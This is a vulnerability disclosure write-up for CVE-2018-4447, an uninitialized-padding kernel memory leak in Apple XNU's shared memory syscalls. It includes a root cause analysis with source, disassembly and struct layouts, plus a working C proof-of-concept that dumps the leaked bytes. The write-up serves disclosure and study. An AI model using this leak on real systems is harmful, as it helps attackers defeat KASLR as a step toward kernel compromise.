CVE-2018-4447 Apple XNU kernel memory leak vulnerability
Overview
This vulnerability exists in BSD share memory module(shm*). shm allocates memory during module initialization without memset, which leaves some fields of the memory uninitialized. And one shm api can read the allocated memory with uninitialized fields from kernel to usermode leading to memory leak.
With this vulnerability, attacker can disclosure some kernel memory to bypass KASLR.
Root Cause Analysis
1. shm allocates memory without memset
function shmget returns an allocated segment with most fields filled.
int
shmget(struct proc *p, struct shmget_args *uap, int32_t *retval)
{
int segnum, mode, error;
int shmget_ret = 0;
/* Auditing is actually done in shmget_allocate_segment() */
SYSV_SHM_SUBSYS_LOCK();
if ((shmget_ret = shminit())) { ---------------------(1.a)
goto shmget_out;
}
mode = uap->shmflg & ACCESSPERMS;
if (uap->key != IPC_PRIVATE) {
again:
segnum = shm_find_segment_by_key(uap->key);
if (segnum >= 0) {
error = shmget_existing(uap, mode, segnum, retval);
if (error == EAGAIN)
goto again;
shmget_ret = error;
goto shmget_out;
}
if ((uap->shmflg & IPC_CREAT) == 0) {
shmget_ret = ENOENT;
goto shmget_out;
}
}
shmget_ret = shmget_allocate_segment(p, uap, mode, retval); ---(1.b)
shmget_out:
SYSV_SHM_SUBSYS_UNLOCK();
return shmget_ret;
}
At (1.a), shminit allocates memory at its first time. At (1.b), shmget_allocate_segment fills most fields of the memory.
See shminit firstly.
int
shminit(void)
{
size_t sz;
int i;
if (!shm_inited) {
/*
* we store internally 64 bit, since if we didn't, we would
* be unable to represent a segment size in excess of 32 bits
* with the (struct shmid_ds)->shm_segsz field; also, POSIX
* dictates this filed be a size_t, which is 64 bits when
* running 64 bit binaries.
*/
if (os_mul_overflow(shminfo.shmmni, sizeof(struct shmid_kernel), &sz)) {
return ENOMEM;
}
MALLOC(shmsegs, struct shmid_kernel *, sz, M_SHM, M_WAITOK); -----------(2.a)
if (shmsegs == NULL) {
return ENOMEM;
}
for (i = 0; i < shminfo.shmmni; i++) {
shmsegs[i].u.shm_perm.mode = SHMSEG_FREE;
shmsegs[i].u.shm_perm._seq = 0;
#if CONFIG_MACF
mac_sysvshm_label_init(&shmsegs[i]);
#endif
}
shm_last_free = 0;
shm_nused = 0;
shm_committed = 0;
shm_inited = 1;
}
return 0;
}
At location (2.a), shmsegs
is allocated without initialization, it contains bytes used by its previous owner.
2. not all fields of the allocated memory are initialized
After shmsegs is allocated, shmget_allocate_segment(1.b) is called. shmget_allocate_segment is used to fill fields of selected shmseg from shmsegs. The vulnerability exists in this function since it doesn’t fill all bytes of the shmseg.
static int
shmget_allocate_segment(struct proc *p, struct shmget_args *uap, int mode,
int *retval)
{
int i, segnum, shmid;
kauth_cred_t cred = kauth_cred_get();
struct shmid_kernel *shmseg;
struct shm_handle *shm_handle;
kern_return_t kret;
mach_vm_size_t total_size, size, alloc_size;
void * mem_object;
struct shm_handle *shm_handle_next, **shm_handle_next_p;
...
shmseg = &shmsegs[segnum];
...
shmseg->u.shm_segsz = uap->size;
shmseg->u.shm_cpid = p->p_pid;
shmseg->u.shm_lpid = shmseg->u.shm_nattch = 0; ---------(3.a)
shmseg->u.shm_atime = shmseg->u.shm_dtime = 0;
...
}
At (3.a), it assigns 0 to shm_nattch as a word.
mov [r8], ax
mov rax, [r13+8]
mov [rbx+r15+18h], rax ; shm_segsz
mov rax, [rbp-80h]
mov eax, [rax+10h]
mov [rbx+r15+24h], eax ; shm_cpid
mov word ptr [rbx+r15+28h], 0 ; shm_nattch, 0x28-0x2a
mov dword ptr [rbx+r15+20h], 0 ; shm_lpid
mov qword ptr [rbx+r15+34h], 0 ; shm_dtime
mov qword ptr [rbx+r15+2Ch], 0 ; shm_atime
mov rsi, [rbp-30h]
mov r13, r8
call _mac_sysvshm_label_associate
You can refer to the above assembly codes of function shmget_allocate_segment that it doesn’t fill field at offset 0x2a. Actually offset 0x2a
of the memory(shmseg) is padding of structure user_shmid_ds
:
#pragma pack(4)
struct user_shmid_ds {
struct ipc_perm shm_perm; /* operation permission structure */
user_size_t shm_segsz; /* size of segment in bytes */
pid_t shm_lpid; /* PID of last shared memory op */
pid_t shm_cpid; /* PID of creator */
short shm_nattch; //@panicaII: offset 0x28, len: 2
user_time_t shm_atime; //@panicalII: offset 0x2c
user_time_t shm_dtime; /* time of last shmdt() */
user_time_t shm_ctime; /* time of last change by shmctl() */
user_addr_t shm_internal; /* reserved for kernel use */
};
struct user32_shmid_ds {
struct ipc_perm shm_perm; /* operation permission structure */
uint32_t shm_segsz; /* size of segment in bytes */
pid_t shm_lpid; /* PID of last shared memory op */
pid_t shm_cpid; /* PID of creator */
short shm_nattch; /* number of current attaches */
uint32_t shm_atime; /* time of last shmat() */
uint32_t shm_dtime; /* time of last shmdt() */
uint32_t shm_ctime; /* time of last change by shmctl() */
user32_addr_t shm_internal; /* reserved for kernel use */
};
#pragma pack()
3. read the uninitialized fields back to user-mode
function shmctl with cmd IPC_STAT can retrieve shmseg back to user-mode buffer.
int
shmctl(__unused struct proc *p, struct shmctl_args *uap, int32_t *retval)
{
...
switch (uap->cmd) {
case IPC_STAT:
error = ipcperm(cred, &shmseg->u.shm_perm, IPC_R);
if (error) {
shmctl_ret = error;
goto shmctl_out;
}
if (IS_64BIT_PROCESS(p)) {
struct user_shmid_ds shmid_ds;
memcpy(&shmid_ds, &shmseg->u, sizeof(struct user_shmid_ds));
/* Clear kernel reserved pointer before copying to user space */
shmid_ds.shm_internal = USER_ADDR_NULL;
error = copyout(&shmid_ds, uap->buf, sizeof(shmid_ds)); -----------(4.a)
} else {
struct user32_shmid_ds shmid_ds32 = {};
shmid_ds_64to32(&shmseg->u, &shmid_ds32);
/* Clear kernel reserved pointer before copying to user space */
shmid_ds32.shm_internal = (user32_addr_t)0;
error = copyout(&shmid_ds32, uap->buf, sizeof(shmid_ds32));
}
if (error) {
shmctl_ret = error;
goto shmctl_out;
}
break;
...
}
At (4.a), shmctl copyout the shmseg back to user supplied buffer. The following is an example of the leak:
panicall-mbp:share panicall$ ./vuln_poc/shmctl_leak
id: 65536
iret: 0
f5 01 00 00 14 00 00 00 f5 01 00 00 14 00 00 00
77 09 01 00 00 00 00 00 10 00 00 00 00 00 00 00
00 00 00 00 5f 60 00 00 00 00 de de 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 8d 39 aa 5b
00 00 00 00 00 00 00 00 00 00 00 00
At offset 0x2a, the word is 0xdede which is set by my kernel memory sanitizer. 0xdede indicates that the word length memory is not initialized and it may contain senstive information left by last owner.
PoC Code
#include <iostream>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/shm.h>
int print_test()
{
struct shmid_ds buffer;
memset(&buffer, 0, sizeof(buffer));
int id = shmget(0, 0x10, 0x777);
printf("id: %d\n", id);
int iret = shmctl(id, 2, &buffer);
printf("iret: %d\n", iret);
uint8_t *pp = (uint8_t*)&buffer;
if(iret == 0) {
for (int i = 0; i < sizeof(buffer); i++) {
printf("%02x", pp[i]);
if (i % 16 == 15)
printf("\n");
else
printf(" ");
}
}
printf("\n");
return iret;
}
int main(int argc, const char * argv[]) {
// insert code here...
print_test();
return 0;
}
Q & A
How did you find this vulnerability?
by fuzzing.
Can you identify exploitability?
This is a memory leak vulnerability. It can leak 2 bytes-long heap memory. Attacker can craft memory and use this vulnerability to leak 2 bytes of the crafted memory to help bypass kaslr.
Can you identify root cause?
Yes, see the root cause analysis.
Vulnerable software and hardware
macOS 10.14 and all before
iOS 12.0 and all before